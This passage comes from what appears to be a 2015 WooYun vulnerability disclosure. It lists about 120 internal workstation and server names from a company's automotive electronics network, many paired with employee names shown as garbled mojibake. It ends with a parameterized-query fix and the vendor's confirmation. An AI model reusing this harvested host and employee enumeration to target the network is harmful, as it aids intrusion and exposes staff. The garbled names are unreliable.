\\QCDZ-LIU-SL 姹借溅鐢靛瓙 鍒樻窇鐜?
\\QCDZ-LIU-SQ 姹借溅鐢靛瓙
\\QCDZ-LIU-YF
\\QCDZ-LIU-YG 姹借溅鐢靛瓙 鍒樻嚳钁?
\\QCDZ-LIU-Z
\\QCDZ-LIU-Z1
\\QCDZ-LIU_SL 姹借溅鐢靛瓙 鍒樻窇鐜?
\\QCDZ-LU-JZ 姹借溅鐢靛瓙 鍗㈢敳妗?
\\QCDZ-LU-LN 姹借溅鐢靛瓙 鍗附濞?
\\QCDZ-LU-SL 鍗㈢礌鏋?
\\QCDZ-LUO-Q
\\QCDZ-LUO-Q1
\\QCDZ-LUO-XM
\\QCDZ-LUO-Y 姹借溅鐢靛瓙 缃椾簯
\\QCDZ-LV-LH
\\QCDZ-LV-XH 姹借溅鐢靛瓙 鍚曠鎯?
\\QCDZ-MA-YT 姹借溅鐢靛瓙
\\QCDZ-NIE-SC
\\QCDZ-PENG-DM 姹借溅鐢靛瓙 褰啲鏄?
\\QCDZ-QIN-S
\\QCDZ-QIU-CS
\\QCDZ-QIU-J
\\QCDZ-QUE-CF 姹借溅鐢靛瓙 闃欐槬鍑?
\\QCDZ-REN-LH 姹借溅鐢靛瓙 浠绘ⅷ鑺?
\\QCDZ-SANG-JG 姹借溅鐢靛瓙 鍒堕€犳妧鏈儴
\\QCDZ-SERVER
\\QCDZ-SHU-ZG 姹借溅鐢靛瓙 鑸掑織鍒?
\\QCDZ-SONG-P 姹借溅鐢靛瓙 瀹嬪钩
\\QCDZ-SPC01
\\QCDZ-SPC06
\\QCDZ-SPC08
\\QCDZ-SPC12
\\QCDZ-SU-ML 姹借溅鐢靛瓙
\\QCDZ-SU-YX
\\QCDZ-SU-YX2
\\QCDZ-SUN-WG 姹借溅鐢靛瓙 榄忓疂鑻?
\\QCDZ-TANG-FS
\\QCDZ-TANG-J
\\QCDZ-TANG-JA
\\QCDZ-TANG-JL 姹借溅鐢靛瓙 鍞愰噾钑?
\\QCDZ-TANG-YJ 姹借溅鐢靛瓙 鍞愭案濮?
\\QCDZ-TIAO-M2
\\QCDZ-TIAO-M3 姹借溅鐢靛瓙 鏉$爜3
\\QCDZ-TIAO-M4 姹借溅鐢靛瓙 鏉$爜4
\\QCDZ-WANG-CL
\\QCDZ-WANG-FY 姹借溅鐢靛瓙 鐜嬬浜?
\\QCDZ-WANG-HY
\\QCDZ-WANG-Q
\\QCDZ-WANG-XY 姹借溅鐢靛瓙 鐜嬪皬鐕?
\\QCDZ-WANG-Y1
\\QCDZ-WANG-YL qcdz-wang-yl
\\QCDZ-WANG-ZJ
\\QCDZ-WEI-HJ
\\QCDZ-WEI-XM
\\QCDZ-WEI-XY 姹借溅鐢靛瓙 灏夋檽鎬?
\\QCDZ-WEI-ZG
\\QCDZ-WEN-JF 姹借溅鐢靛瓙 娓╅噾鍑?
\\QCDZ-WENG-HX 姹借溅鐢靛瓙 缈佸崕绉€
\\QCDZ-WU-HZ 姹借溅鐢靛瓙 鍚寸幆鐝?
\\QCDZ-WU-JS 姹借溅鐢靛瓙 鍚撮敠涔?
\\QCDZ-WU-YJ
\\QCDZ-XIANG-JJ
\\QCDZ-XIAO-HQ 姹借溅鐢靛瓙 鑲栧崕娓?
\\QCDZ-XIE-XW
\\QCDZ-XIONG-WJ 姹借溅鐢靛瓙 鍐嚡
\\QCDZ-XU-BK 姹借溅鐢靛瓙 璁哥偝鍧?
\\QCDZ-XU-CM 姹借溅鐢靛瓙 鏉ㄥ懆澶?
\\QCDZ-XU-L 姹借溅鐢靛瓙 寰愰暛
\\QCDZ-XU-YY 姹借溅鐢靛瓙 闄堝繝鑿?
\\QCDZ-YAN-MH
\\QCDZ-YAN-XJ
\\QCDZ-YAN-XJ-PC
\\QCDZ-YAN-ZZ
\\QCDZ-YANFA http://oa.hongfa.cn/
\\QCDZ-YANG-XD 姹借溅鐢靛瓙 鏉ㄥ績绔?
\\QCDZ-YANG-YT 姹借溅鐢靛瓙 鏉ㄧ嚂娉?
\\QCDZ-ZENG-DL 姹借溅鐢靛瓙 鏇惧啲鏋?
\\QCDZ-ZENG-JP
\\QCDZ-ZENG-S
\\QCDZ-ZENG_TY 姹借溅鐢靛瓙 鏇惧ぉ鍏?
\\QCDZ-ZENG_WX
\\QCDZ-ZHAN-LY 姹借溅鐢靛瓙 瑭逛附鐕?
\\QCDZ-ZHANG-HQ 姹借溅鐢靛瓙 寮犵孩鐞?
\\QCDZ-ZHANG-JZ 姹借溅鐢靛瓙 寮犳暚蹇?
\\QCDZ-ZHANG-K
\\QCDZ-ZHANG-LY1 姹借溅鐢靛瓙 鑻忛摱鐜?
\\QCDZ-ZHANG-MM
\\QCDZ-ZHANG-R 姹借溅鐢靛瓙 寮犲唹
\\QCDZ-ZHANG-XF 姹借溅鐢靛瓙 鑲栧崕娓?
\\QCDZ-ZHANG-YJ 姹借溅鐢靛瓙 寮犺壋濞?
\\QCDZ-ZHANG-ZH
\\QCDZ-ZHANG_HZ
\\QCDZ-ZHAO-LB 姹借溅鐢靛瓙 璧靛叞娉?
\\QCDZ-ZHENG-XZ
\\QCDZ-ZHONG-JJ
\\QCDZ-ZHONG-JY
\\QCDZ-ZHONG-YG
\\QCDZ-ZHOU-CM
\\QCDZ-ZHOU-LM
\\QCDZ-ZHOU-LX
\\QCDZ-ZHOU-X 姹借溅鐢靛瓙 鍛ㄦ槦
\\QCDZ-ZHU-BB qcdz-zhu-bb.hongfa.cn
\\QCDZ-ZHU-EH
\\QCDZ-ZHU-XL
\\QCDZ-ZOU-MJ 姹借溅鐢靛瓙 閭规晱鏉?
\\QCDZTM
\\QCZD1 姹借溅缁堢鏈嶅姟鍣?
\\QCZD2
\\QH-CHEN-HRX
\\QH-CHEN-JQ
\\QH-CHEN-L 浼佸垝鐢熶骇閮?闄堢惓
\\QH-CHEN-LL

修复方案:

参数化查询

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-11-03 09:01

厂商回复:

以责令相关单位处理,谢谢!

最新状态:

暂无